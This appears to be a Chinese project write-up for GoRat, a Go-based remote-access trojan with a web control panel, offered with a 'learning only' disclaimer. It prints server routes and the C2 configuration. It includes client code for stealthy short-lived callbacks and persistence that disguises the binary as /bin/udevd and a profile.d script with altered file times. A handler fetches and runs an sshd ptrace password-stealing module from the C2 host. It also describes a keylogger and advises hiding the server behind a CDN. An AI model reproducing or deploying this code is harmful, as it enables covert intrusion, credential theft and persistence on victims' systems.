GoRat 使用Go开发的B/S架构远控

-w1455

只用于学习beego与go开发,请勿用于非法用途。

功能列表

  • [x] 开机启动
  • [x] 命令执行
  • [x] Keylogger
  • [x] SSHD密码记录
  • [ ] SSH Client密码记录
  • [ ] Mysql密码记录
  • [ ] 桌面截图
  • [ ] 远程代理

技术架构

服务端使用Beego开发
客户端使用纯Go开发

服务端

采用Beego开发,共六个路由

func init() {
    //首页登录
    beego.Router("/", &controllers.MainController{})
    //主机列表与客户端上线心跳
    beego.Router("/host", &controllers.HostController{})
    //客户端任务结果上报
    beego.Router("/task", &controllers.TaskController{})
    //执行命令模块
    beego.Router("/cmd", &controllers.CmdController{})
    //sshd密码记录模块
    beego.Router("/sshd", &controllers.SshdController{})
    //键盘记录模块
    beego.Router("/key", &controllers.KeyController{})
}

配置文件 conf/app.conf

appname = goratServer
httpport = 8080 #端口
runmode = dev
copyrequestbody = true
password = 123456 #登录密码

部署方式

先修改 goratClient/common/common.go中的Host为你自己的server地址

var Host = "http://192.168.101.40:8080/"

然后运行 build.sh,编译linux64位版本,其他版本可自行编译。
然后进入goratServer,运行

go install  github.com/astaxie/beego
go get github.com/beego/bee
bee run

即可成功启动,若想打包成二进制文件在其他机器上部署可执行

bee pack -be GOOS=linux
bee pack -be GOOS=windows

goratServer/module中为编译好的keylogger与sshd密码记录,可以自行重新编译,其源码在项目目录中的module文件夹中

通讯协议

支持部署在cdn后面,同时也建议部署在cdn之后,隐藏真实IP。
采用http通讯,数据采用POST上报,无任何加密,数据结构如下

type HostInfo struct{
    HostName string
    IpAddr string
    UUID string
    Goos string
    LastOnline time.Time
    Mark string
    RemoteAddr string
}

任务下发与回复数据结构如下

type TaskInfo struct{
    UUID string
    TaskId string
    TaskParams string
    TaskType string
    TaskResult string `执行完成之后会把结果放入其中进行回复`
}

第一次上线默认1秒取一次任务,若连续60秒无任务下发,则进入休眠模式,将会100秒+25秒随机发心跳包

time_sleep = 100 + rand.Intn(25000)

若接受到任务之后,则会继续转变成1秒一次的心跳。

除了命令执行意外以外,其他所有模块都存放在module/文件夹中,调用时将进行动态部署,方便后期扩容。

客户端

HTTP短连接

采用短连接,基本netstat -an看不到网络连接,发包之后就直接释放。
代码如下

func dialTimeout(network, addr string) (net.Conn, error) {
    conn, err := net.DialTimeout(network, addr, time.Second*POST_REMOTE_TIMEOUT)
    if err != nil {
        return conn, err
    }

    tcp_conn := conn.(*net.TCPConn)
    tcp_conn.SetKeepAlive(false)

    return tcp_conn, err
}
func SendRequest(action string ,data url.Values,sendType string) string{
    transport := http.Transport{
        Dial:              dialTimeout,
        DisableKeepAlives: true, //关闭keepalive
    }
    client := &http.Client{
        Transport: &transport,
    }
    body := strings.NewReader(data.Encode())
    url:=Host+action
    req, err := http.NewRequest(sendType, url, body)
  ...
}    

就算服务没开netstat也没有任何连接,开了之后也是一样的。
-w771

开机启动

采用复制自身到/bin/udevd并修改文件时间,然后创建/etc/profile.d/which3.sh文件,写入启动内容

func Autorun() {
    if os.Args[0] != "/bin/udevd" {
        _, err := common.CopyFile(os.Args[0], "/bin/udevd")
        if err != nil {
            fmt.Print(err)
        } else {
            os.Remove(os.Args[0])
            bash := "# Initialization script for bash and sh\n"
            bash += "# export AFS if you are in AFS environment\n"
            bash += "a=`ps -fe|grep /bin/udevd |grep -v grep|wc|awk '{print$1}'`\n"
            bash += "if [ \"$a\" -eq 0 ] \n"
            bash += "then\n"
            bash += "/bin/udevd\n"
            bash += "fi\n"
            errf := ioutil.WriteFile("/etc/profile.d/which3.sh", []byte(bash), 0644)
            if errf != nil {
                fmt.Print(errf)
            }
            GetFileModTime("/bin/udevd")
            GetFileModTime("/etc/profile.d/which3.sh")
        }

    }

}

SSHD密码记录

采用ptract注入sshd进程,并将记录到密码存放在/tmp/sshpassword.txt
其开启逻辑如下

func Task_sshd(task common.TaskInfo,status string){
    if status=="open"{
        moduleUrl:=common.Host+"/module/sshd.tar"
        os.Mkdir("/tmp/.../",os.ModePerm)
        check:=common.DownloadFile(moduleUrl,"/tmp/.../sshd.tar")
        if check{
            cmd:="tar xvf /tmp/.../sshd.tar -C /tmp/.../"
            Run(cmd)
            cmd="cd /tmp/.../;sh run.sh;"
            go Run(cmd)
            task.TaskResult="open success"
            common.UploadResult(task)
        }else{
            task.TaskResult="download module fail"
            common.UploadResult(task)
            
        }

    }

键盘记录

采用开源keylogger程序,并将其记录到的输入记录到/tmp/.auth.log中,不支持记录ssh会话的输入,只支持物理键盘的输入或vnc等远程连接。

参考文档

无需重新编译OpenSSH,通过ptrace注入记录SSHD密码

http://aq.mk/index.php/archives/86.html

修改后的SSHD密码记录,支持自动查找SSHD pid与libdl版本

https://github.com/code-scan/ssh-inject-auto-find-libdl

Beego

http://github.com/beego/bee

http://beego.me/

Go键盘记录

https://github.com/MarinX/keylogger

GoRat项目地址

https://github.com/code-scan/goRat

标签: none